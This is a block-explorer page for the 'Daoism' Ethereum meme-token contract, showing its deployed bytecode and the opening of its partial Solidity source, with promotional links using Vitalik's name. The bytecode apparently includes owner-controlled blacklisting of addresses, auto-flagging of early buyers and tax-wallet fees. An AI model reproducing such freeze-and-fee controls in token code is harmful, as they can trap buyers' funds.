Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x95B1a80E8049e0019C0dD019c53379f6fF0ceE37
Balance 0 ETH
Nonce 1
Code Size 14520 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

14520 bytes
0x60806040526004361061014e575f3560e01c8063727fe49e116100b5578063c60475531161006e578063c60475531461047d578063c9567bf914610493578063d29eb2eb146104a9578063d34628cc146104d3578063dd62ed3e146104fb578063ec1f3f631461053757610155565b8063727fe49e1461038357806389454bf8146103ad5780638da5cb5b146103c357806395d89b41146103ed578063a9059cbb14610417578063b2a00bf91461045357610155565b8063313ce56711610107578063313ce5671461027957806331c2d847146102a35780633bbac579146102cb5780634d697f8b1461030757806370a0823114610331578063715018a61461036d57610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf57806318160ddd146101e9578063188d16441461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055f565b60405161017a91906127ee565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a491906128ac565b6105ef565b6040516101b69190612904565b60405180910390f35b3480156101ca575f80fd5b506101d361060c565b6040516101e0919061292c565b60405180910390f35b3480156101f4575f80fd5b506101fd610612565b60405161020a919061292c565b60405180910390f35b34801561021e575f80fd5b50610227610635565b604051610234919061292c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612945565b61063b565b6040516102709190612904565b60405180910390f35b348015610284575f80fd5b5061028d61070f565b60405161029a91906129b0565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190612b09565b610717565b005b3480156102d6575f80fd5b506102f160048036038101906102ec9190612b50565b610835565b6040516102fe9190612904565b60405180910390f35b348015610312575f80fd5b5061031b610887565b604051610328919061292c565b60405180910390f35b34801561033c575f80fd5b5061035760048036038101906103529190612b50565b61088d565b604051610364919061292c565b60405180910390f35b348015610378575f80fd5b506103816108d3565b005b34801561038e575f80fd5b50610397610a21565b6040516103a4919061292c565b60405180910390f35b3480156103b8575f80fd5b506103c1610a27565b005b3480156103ce575f80fd5b506103d7610abe565b6040516103e49190612b8a565b60405180910390f35b3480156103f8575f80fd5b50610401610ae5565b60405161040e91906127ee565b60405180910390f35b348015610422575f80fd5b5061043d600480360381019061043891906128ac565b610b75565b60405161044a9190612904565b60405180910390f35b34801561045e575f80fd5b50610467610b92565b604051610474919061292c565b60405180910390f35b348015610488575f80fd5b50610491610b98565b005b34801561049e575f80fd5b506104a7610cc7565b005b3480156104b4575f80fd5b506104bd611251565b6040516104ca919061292c565b60405180910390f35b3480156104de575f80fd5b506104f960048036038101906104f49190612b09565b611257565b005b348015610506575f80fd5b50610521600480360381019061051c9190612ba3565b611376565b60405161052e919061292c565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612be1565b6113f8565b005b60606011805461056e90612c39565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612c39565b80156105e55780601f106105bc576101008083540402835291602001916105e5565b820191905f5260205f20905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b5f6106026105fb6114f5565b84846114fc565b6001905092915050565b60165481565b5f6009600a6106219190612dc5565b6305f5e1006106309190612e0f565b905090565b60015481565b5f6106478484846116bf565b610704846106536114f5565b6106ff8560405180606001604052806028815260200161385b6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b66114f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122509092919063ffffffff16565b6114fc565b600190509392505050565b5f6009905090565b61071f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612e9a565b60405180910390fd5b5f5b8151811015610831575f60075f8484815181106107cd576107cc612eb8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506107ad565b5050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108db6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e90612e9a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60145481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a676114f5565b73ffffffffffffffffffffffffffffffffffffffff1614610a86575f80fd5b5f610a903061088d565b90505f811115610aa457610aa3816122b2565b5b5f4790505f811115610aba57610ab98161251d565b5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060128054610af490612c39565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2090612c39565b8015610b6b5780601f10610b4257610100808354040283529160200191610b6b565b820191905f5260205f20905b815481529060010190602001808311610b4e57829003601f168201915b5050505050905090565b5f610b88610b816114f5565b84846116bf565b6001905092915050565b60135481565b610ba06114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2390612e9a565b60405180910390fd5b6009600a610c3a9190612dc5565b6305f5e100610c499190612e0f565b6013819055506009600a610c5d9190612dc5565b6305f5e100610c6c9190612e0f565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610ca19190612dc5565b6305f5e100610cb09190612e0f565b604051610cbd919061292c565b60405180910390a1565b610ccf6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5290612e9a565b60405180910390fd5b601860149054906101000a900460ff1615610dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da290612f2f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2a30337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b610e6230610e5d6064610e4f605f610e413361088d565b61258590919063ffffffff16565b6125fc90919063ffffffff16565b610b75565b5060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ecd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef19190612f61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f9b9190612f61565b6040518363ffffffff1660e01b8152600401610fb8929190612f8c565b6020604051808303815f875af1158015610fd4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff89190612f61565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110833060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110cb3061088d565b5f806110d5610abe565b426040518863ffffffff1660e01b81526004016110f796959493929190612ff5565b60606040518083038185885af1158015611113573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111389190613068565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111d89291906130b8565b6020604051808303815f875af11580156111f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112189190613109565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b60155481565b61125f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612e9a565b60405180910390fd5b5f5b815181101561137257600160075f84848151811061130e5761130d612eb8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506112ed565b5050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114006114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612e9a565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114cc6114f5565b73ffffffffffffffffffffffffffffffffffffffff16146114eb575f80fd5b80600c8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611561906131a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90613232565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b2919061292c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906132c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117929061334e565b60405180910390fd5b5f81116117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d4906133dc565b60405180910390fd5b5f6117e6610abe565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118545750611824610abe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa05760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118f7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6118ff575f80fd5b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a8575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a4e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b865760025f815480929190611a65906133fa565b9190505550600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015460025411611b8557600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611b7c9190613441565b60405180910390a35b5b611bc26064611bb4600d5460105411611ba157600954611ba5565b600b545b8561258590919063ffffffff16565b6125fc90919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c6d575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc0575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d7a57601354821115611d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d01906134a4565b60405180910390fd5b60145482611d178561088d565b611d2191906134c2565b1115611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d599061353f565b60405180910390fd5b60105f815480929190611d74906133fa565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e0257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e4657611e436064611e35600e5460105411611e2257600a54611e26565b600c545b8561258590919063ffffffff16565b6125fc90919063ffffffff16565b90505b5f611e503061088d565b9050601860159054906101000a900460ff16158015611ebb575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ed35750601860169054906101000a900460ff165b8015611ee0575060155481115b8015611eef5750600f54601054115b15611f9e57601a54431115611f06575f6019819055505b600360195410611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f42906135a7565b60405180910390fd5b611f68611f6384611f5e84601654612645565b612645565b6122b2565b5f4790505f811115611f7e57611f7d4761251d565b5b60195f815480929190611f90906133fa565b919050555043601a81905550505b505b5f81111561209f57611ff88160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461265d90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612096919061292c565b60405180910390a35b6120ef8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546126ba90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061219261214682846126ba90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461265d90919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61223584866126ba90919063ffffffff16565b604051612242919061292c565b60405180910390a350505050565b5f838311158290612297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228e91906127ee565b60405180910390fd5b505f83856122a591906135c5565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156122e9576122e86129cd565b5b6040519080825280602002602001820160405280156123175781602001602082028036833780820191505090505b50905030815f8151811061232e5761232d612eb8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123f69190612f61565b8160018151811061240a57612409612eb8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124703060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124d29594939291906136af565b5f604051808303815f87803b1580156124e9575f80fd5b505af11580156124fb573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612581573d5f803e3d5ffd5b5050565b5f808303612595575f90506125f6565b5f82846125a29190612e0f565b90508284826125b19190613734565b146125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e8906137d4565b60405180910390fd5b809150505b92915050565b5f61263d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612703565b905092915050565b5f8183106126535781612655565b825b905092915050565b5f80828461266b91906134c2565b9050838110156126b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a79061383c565b60405180910390fd5b8091505092915050565b5f6126fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612250565b905092915050565b5f8083118290612749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274091906127ee565b60405180910390fd5b505f83856127579190613734565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561279b578082015181840152602081019050612780565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6127c082612764565b6127ca818561276e565b93506127da81856020860161277e565b6127e3816127a6565b840191505092915050565b5f6020820190508181035f83015261280681846127b6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6128488261281f565b9050919050565b6128588161283e565b8114612862575f80fd5b50565b5f813590506128738161284f565b92915050565b5f819050919050565b61288b81612879565b8114612895575f80fd5b50565b5f813590506128a681612882565b92915050565b5f80604083850312156128c2576128c1612817565b5b5f6128cf85828601612865565b92505060206128e085828601612898565b9150509250929050565b5f8115159050919050565b6128fe816128ea565b82525050565b5f6020820190506129175f8301846128f5565b92915050565b61292681612879565b82525050565b5f60208201905061293f5f83018461291d565b92915050565b5f805f6060848603121561295c5761295b612817565b5b5f61296986828701612865565b935050602061297a86828701612865565b925050604061298b86828701612898565b9150509250925092565b5f60ff82169050919050565b6129aa81612995565b82525050565b5f6020820190506129c35f8301846129a1565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612a03826127a6565b810181811067ffffffffffffffff82111715612a2257612a216129cd565b5b80604052505050565b5f612a3461280e565b9050612a4082826129fa565b919050565b5f67ffffffffffffffff821115612a5f57612a5e6129cd565b5b602082029050602081019050919050565b5f80fd5b5f612a86612a8184612a45565b612a2b565b90508083825260208201905060208402830185811115612aa957612aa8612a70565b5b835b81811015612ad25780612abe8882612865565b845260208401935050602081019050612aab565b5050509392505050565b5f82601f830112612af057612aef6129c9565b5b8135612b00848260208601612a74565b91505092915050565b5f60208284031215612b1e57612b1d612817565b5b5f82013567ffffffffffffffff811115612b3b57612b3a61281b565b5b612b4784828501612adc565b91505092915050565b5f60208284031215612b6557612b64612817565b5b5f612b7284828501612865565b91505092915050565b612b848161283e565b82525050565b5f602082019050612b9d5f830184612b7b565b92915050565b5f8060408385031215612bb957612bb8612817565b5b5f612bc685828601612865565b9250506020612bd785828601612865565b9150509250929050565b5f60208284031215612bf657612bf5612817565b5b5f612c0384828501612898565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612c5057607f821691505b602082108103612c6357612c62612c0c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ceb57808604811115612cc757612cc6612c69565b5b6001851615612cd65780820291505b8081029050612ce485612c96565b9450612cab565b94509492505050565b5f82612d035760019050612dbe565b81612d10575f9050612dbe565b8160018114612d265760028114612d3057612d5f565b6001915050612dbe565b60ff841115612d4257612d41612c69565b5b8360020a915084821115612d5957612d58612c69565b5b50612dbe565b5060208310610133831016604e8410600b8410161715612d945782820a905083811115612d8f57612d8e612c69565b5b612dbe565b612da18484846001612ca2565b92509050818404811115612db857612db7612c69565b5b81810290505b9392505050565b5f612dcf82612879565b9150612dda83612995565b9250612e077fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612cf4565b905092915050565b5f612e1982612879565b9150612e2483612879565b9250828202612e3281612879565b91508282048414831517612e4957612e48612c69565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e8460208361276e565b9150612e8f82612e50565b602082019050919050565b5f6020820190508181035f830152612eb181612e78565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612f1960178361276e565b9150612f2482612ee5565b602082019050919050565b5f6020820190508181035f830152612f4681612f0d565b9050919050565b5f81519050612f5b8161284f565b92915050565b5f60208284031215612f7657612f75612817565b5b5f612f8384828501612f4d565b91505092915050565b5f604082019050612f9f5f830185612b7b565b612fac6020830184612b7b565b9392505050565b5f819050919050565b5f819050919050565b5f612fdf612fda612fd584612fb3565b612fbc565b612879565b9050919050565b612fef81612fc5565b82525050565b5f60c0820190506130085f830189612b7b565b613015602083018861291d565b6130226040830187612fe6565b61302f6060830186612fe6565b61303c6080830185612b7b565b61304960a083018461291d565b979650505050505050565b5f8151905061306281612882565b92915050565b5f805f6060848603121561307f5761307e612817565b5b5f61308c86828701613054565b935050602061309d86828701613054565b92505060406130ae86828701613054565b9150509250925092565b5f6040820190506130cb5f830185612b7b565b6130d8602083018461291d565b9392505050565b6130e8816128ea565b81146130f2575f80fd5b50565b5f81519050613103816130df565b92915050565b5f6020828403121561311e5761311d612817565b5b5f61312b848285016130f5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61318e60248361276e565b915061319982613134565b604082019050919050565b5f6020820190508181035f8301526131bb81613182565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61321c60228361276e565b9150613227826131c2565b604082019050919050565b5f6020820190508181035f83015261324981613210565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6132aa60258361276e565b91506132b582613250565b604082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61333860238361276e565b9150613343826132de565b604082019050919050565b5f6020820190508181035f8301526133658161332c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6133c660298361276e565b91506133d18261336c565b604082019050919050565b5f6020820190508181035f8301526133f3816133ba565b9050919050565b5f61340482612879565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361343657613435612c69565b5b600182019050919050565b5f6020820190506134545f830184612fe6565b92915050565b7f4578636565647320746865205f78354b515a4c3954352e0000000000000000005f82015250565b5f61348e60178361276e565b91506134998261345a565b602082019050919050565b5f6020820190508181035f8301526134bb81613482565b9050919050565b5f6134cc82612879565b91506134d783612879565b92508282019050808211156134ef576134ee612c69565b5b92915050565b7f457863656564732074686520783042525854354b332e000000000000000000005f82015250565b5f61352960168361276e565b9150613534826134f5565b602082019050919050565b5f6020820190508181035f8301526135568161351d565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61359160178361276e565b915061359c8261355d565b602082019050919050565b5f6020820190508181035f8301526135be81613585565b9050919050565b5f6135cf82612879565b91506135da83612879565b92508282039050818111156135f2576135f1612c69565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61362a8161283e565b82525050565b5f61363b8383613621565b60208301905092915050565b5f602082019050919050565b5f61365d826135f8565b6136678185613602565b935061367283613612565b805f5b838110156136a25781516136898882613630565b975061369483613647565b925050600181019050613675565b5085935050505092915050565b5f60a0820190506136c25f83018861291d565b6136cf6020830187612fe6565b81810360408301526136e18186613653565b90506136f06060830185612b7b565b6136fd608083018461291d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61373e82612879565b915061374983612879565b92508261375957613758613707565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137be60218361276e565b91506137c982613764565b604082019050919050565b5f6020820190508181035f8301526137eb816137b2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613826601b8361276e565b9150613831826137f2565b602082019050919050565b5f6020820190508181035f8301526138538161381a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083ee8be4fd7b2913a113a207e00a6b50e0530f29c197173a95f14e8695150c3064736f6c63430008170033

Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: No
Daoism.sol 373 lines
// SPDX-License-Identifier: UNLICENSE

/*

t.me/vitalikdaoism

*/

/*

https://x.com/Vitalikreligion

*/

pragma solidity 0.8.23;

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}

}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

}

interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Daoism is Context, IERC20, Ownable {
using SafeMath for uint256;

